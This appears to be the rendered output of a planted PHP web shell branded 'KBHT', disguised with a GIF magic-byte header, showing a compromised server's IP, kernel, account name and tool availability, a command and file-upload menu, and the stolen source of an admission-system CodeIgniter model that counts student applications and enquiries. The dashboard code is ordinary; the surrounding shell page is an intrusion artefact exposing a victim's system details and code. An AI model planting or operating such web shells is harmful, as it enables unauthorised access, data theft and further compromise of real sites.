GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.138.181.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/models/admin/DashboardManagement.php
<?php

/**
 * Description of DashboardManagement
 *
 * @author Softpro India Pvt. Ltd
 */
class DashboardManagement extends CI_Model {

    function getTotalCompleteApplications($session_id) {
        $this->db->select("COUNT(*) as complete_applications");
        $this->db->from("tbl_student_personal_info tspi");
        $this->db->join('tbl_univ_course_session_mapping univ','tspi.ucs_map_id = univ.ucs_map_id');
        $this->db->where("tspi.tspi_form_no IS NOT NULL");
        $this->db->where("univ.session_id", $session_id);
        return $this->db->get();
    }

    function getTotalIncompleteApplications($session_id) {
        $this->db->select("COUNT(*) as incomplete_applications");
        $this->db->from("tbl_student_personal_info tspi");
        $this->db->join('tbl_univ_course_session_mapping univ','tspi.ucs_map_id = univ.ucs_map_id');
        $this->db->where("tspi.tspi_form_no IS NULL");
        $this->db->where("univ.session_id", $session_id);
        return $this->db->get();
    }

    function getEnquiriesUsingSession($session_id) {
        $this->db->select("COUNT(*) as enquiries");
        $this->db->from("adm_enquiry eq");
        $this->db->where("eq.session_id", $session_id);
        return $this->db->get();
    }

    function getCourseWiseApplications($session_id) {
        $dataValues = [];
        $dataLabels = [];
        $this->db->select("COUNT(*) as applicationCount,c.course_name");
        $this->db->from("tbl_student_personal_info tspi");
        $this->db->join('tbl_univ_course_session_mapping univ','tspi.ucs_map_id = univ.ucs_map_id');
        $this->db->join("tbl_course_sub_master sc", "sc.tcsm_id=univ.sub_course_id");
        $this->db->join("tbl_course_master c", "c.course_id=sc.course_id");
        $this->db->where("univ.session_id", $session_id);
        $this->db->group_by("c.course_name");
        $data = $this->db->get()->result();

        foreach ($data as $row) {
            array_push($dataValues, $row->applicationCount);
            array_push($dataLabels, $row->course_name);
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabels
        ));
    }

    function getApplicationsByStatus($session_id) {
        $dataValues = [];
        $dataLabels = [];
        $this->db->select("COUNT(*) as applicationCount,ad.status");
        $this->db->from("tbl_student_personal_info tspi");
        $this->db->join('tbl_univ_course_session_mapping univ','tspi.ucs_map_id = univ.ucs_map_id');
        $this->db->join("tbl_course_sub_master sc", "sc.tcsm_id=univ.sub_course_id");
        $this->db->join("tbl_course_master c", "c.course_id=sc.course_id");
        $this->db->join("transaction_mst ad", "tspi.tspi_id=ad.regno");
        $this->db->where("univ.session_id", $session_id);
        $this->db->group_by("ad.status");
        $data = $this->db->get()->result();

        foreach ($data as $row) {
            array_push($dataValues, $row->applicationCount);
            array_push($dataLabels, ($row->status == "T") ? "Complete" : "Incomplete");
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabels
        ));
    }

    function getCourseWiseEnquiries($session_id) {
        $dataValues = [];
        $dataLabels = [];
        $this->db->select("COUNT(*) as enqCount,c.course_name");
        $this->db->from("adm_enquiry eq");
        $this->db->join("tbl_course_master c", "eq.course_id=c.course_id");
        $this->db->where("eq.session_id", $session_id);
        $this->db->group_by("c.course_name");
        $data = $this->db->get()->result();

        foreach ($data as $row) {
            array_push($dataValues, $row->enqCount);
            array_push($dataLabels, $row->course_name);
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabels
        ));
    }

    
}

KBHT - 2023